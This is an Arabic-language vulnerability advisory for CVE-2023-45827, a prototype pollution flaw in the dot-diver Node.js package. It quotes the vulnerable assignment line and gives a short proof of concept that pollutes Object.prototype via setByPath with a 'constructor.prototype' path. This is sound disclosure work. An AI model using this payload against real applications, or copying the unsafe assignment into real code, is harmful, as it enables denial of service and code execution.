
pp
CVE-2023-45827
CVSS : 9.8
3 نوفمبر 2023
ProtoType Pollution في حزمة node.js
جزء من مشروع rebob
هذه ثغرة من نوع تلوث النموذج الأولي (Prototype Pollution) في dot-diver. يمكن أن تؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE).
الكود القابل للاستغلال
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
إثبات المفهوم (PoC)
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
إنها ثغرة من نوع تلوث النموذج الأولي (Prototype Pollution) ويمكن أن تؤدي إلى هجمات حرمان من الخدمة (DoS) وتنفيذ تعليمات برمجية عن بُعد (RCE) وغيرها.